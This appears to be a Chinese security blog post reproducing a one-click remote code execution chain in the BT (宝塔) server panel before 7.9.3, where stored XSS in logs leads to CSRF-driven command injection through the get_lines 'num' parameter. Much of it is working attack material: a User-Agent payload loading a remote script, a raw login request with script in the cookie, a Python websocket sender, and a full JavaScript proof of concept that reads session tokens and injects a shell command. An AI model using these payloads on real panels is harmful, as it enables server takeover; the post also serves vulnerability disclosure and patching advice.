宝塔前台RCE复现+分析(1click)

gacjie
2022-05-28 / 0 评论 / 170 阅读 / 正在检测是否收录...

前言:

该RCE与历史漏洞相似,同样是XSS到RCE,全文所有漏洞均已在最新版7.9.3修复,RCE1和2影响范围<7.9.2,RCE3影响范围 <7.9.3,修复方式就是把版本直接更新到最新版7.9.3即可,如果对业务有影响不能更新的话就把日志记录的时候过滤下XSS即可

RCE1:

准备工作:

找到网站名
1.webp

JS payload
2.webp

‍ 复现过程:

此时的wwwroot目录下面是没有文件的
3.webp

发包

4.webp

User-Agent:

</tExtArEa>"><script src=http://URL/1.js></script>

点击网站日志
5.webp
6.webp

成功RCE

原理分析:

这里我用的环境是7.9.1版
7.webp

目前的官网最新版也是7.9.1版本
8.webp

复现流程可以看出来是xss+后台RCE的组合拳

首先是xss,我们可以看到日志可以成功用闭合,然后就是经典的script src
9.webp

分析源码,看看宝塔是如何读取日志的
10.webp

这里有一个getsitelogs函数,其中获取了网站的日志路径,然后传进了GetNumLines函数,跟进去如下
11.webp

函数里面语句较多,但是并没有任何的过滤

然后returnMsg直接return回来

12.webp

其中日志是由nginx保存的,宝塔读取日志数据并return回来,无任何过滤,加上拼接,即可造成xss

那么如何扩大危害造成rce呢?宝塔其中有一个getlines函数如下
13.webp

注意一个函数,ExecShell,其中使用了subprocess.Popen执行了命令,这也是Py自带的执行命令函数,我们可以看到全程也是无过滤的

14.webp

那么我们转回来看getline函数

15.webp

先判断了传来的filename存不存在,不存在就return,如果存在的话就往下进行拼接num和filename,所以我们就知道了怎么可以rce,传一个必定存在的filename,然后num执行命令就可以了,但因为这是在后台,所以需要xss+csrf配合触发

RCE2:
原理基本一样,不过我们要让他报错,在后面目录输入报错语句强制报错

http://124.222.155.156/ÑÞ:wJ„</textarea><script>alert(1)</script>

16.webp

同RCE1,这里直接取了错误日志
17.webp

RCE3:
复现过程:

这个点与网站日志一样,也是有两个RCE的方式,不过触发点一样就当成一个写了,我发现宝塔本身也有两个日志,运行和报错,但报错日志是记录在运行日志当中的,而爱民哥发现的是用websockets传参,该方法比我的方式要更好一些

利用报错(插入cookie后点击宝塔运行日志)

 `POST /login HTTP/1.1

Host: 124.222.155.156:8888

Content-Length: 298

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDf2OV8B1vndXw2kE

Accept: */*

Origin: http://124.222.155.156:8888

Referer: http://124.222.155.156:8888/4da4fb73/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie:/ÑÞ:wJ„</textarea><script>alert(1)</script>%7B%22status%22%3Atrue%2C%22msg%22%3A%22%u83B7%u53D6%u6210%u529F%21%22%2C%22data%22%3A%7B%22username%22%3A%22183****2354%22%7D%7D; config-tab=0; d83ead85f6a5e78d01786d2425d0944a=06c2e402-41be-4aea-8183-cb26a85b31c3.Q5M8TQT6Ez-ePm-x8dO3SJ4kUBQ

Connection: close


------WebKitFormBoundaryDf2OV8B1vndXw2kE

Content-Disposition: form-data; name="username"


c4ca4238a0b923820dcc509a6f75849b

------WebKitFormBoundaryDf2OV8B1vndXw2kE

Content-Disposition: form-data; name="password"


2e960237cb9186c02546fe2b1cdce087

------WebKitFormBoundaryDf2OV8B1vndXw2kE--` 

18.webp

这个没有深入分析,X了一次我就没管了,因为爱民哥的方法要比我的好很多,所以可能有误,或者是之前X的没有清理干净

源码漏洞点
19.webp

基本上只要能X进来就能R了

然后是爱民哥发现的精简法

运行脚本(回显400即可)
20.webp

然后点击

21.webp

成功RCE
22.webp

这是面板日志获取的方式

23.webp

我们用websocket协议进行传参

import asyncio
import websockets

async def hello():
    async with websockets.connect("ws://URL:端口/</pre><script>alert(1)</script><pre
style=\"display:none\">") as websocket:
        await websocket.send("")
        await websocket.recv()

asyncio.run(hello())

全部JSPOC

//JQuery preload (optional)
(function(){
    var s = document.createElement('script');s.type = 'text/javascript';s.async = true;s.src = 'https://code.jquery.com/jquery-2.1.4.min.js';
(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(s);
})();

// cookie
let cookies = document.cookie;

function getCookie(sKey) {
    if (!sKey) { return null; }
    return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" +encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") +"\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
}

all_headers ={
    "Accept":"*/*",
    "X-Requested-With":"XMLHttpRequest",
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36",
    "Connection":"close",
    "Accept-Encoding":"gzip, deflate",
    "dnt":"1",
    "sec-gpc":"1",
    "Cookie": cookies,
    "x-cookie-token": getCookie('request_token'),
    "Accept-Language":"zh-CN,zh;q=0.9,en;q=0.8",
    "x-http-token": $('#request_token_head').attr('token'),
    "Content-Type":"application/x-www-form-urlencoded;charset=UTF-8"
}

$.ajax({
    url: "/ajax",
    type: "get",
    data:
        {"action":"get_lines","filename":"/etc","num":"|echo 'BT RCE 
test ZAC'> /www/wwwroot/1.txt|"}
    ,
    headers: all_headers,
    success: function (data) {
        console.info(data);
    }
});

感谢以下几位大佬的帮助:

丞相,孙爱民,H0ly,可笑,广

0

评论 (0)

取消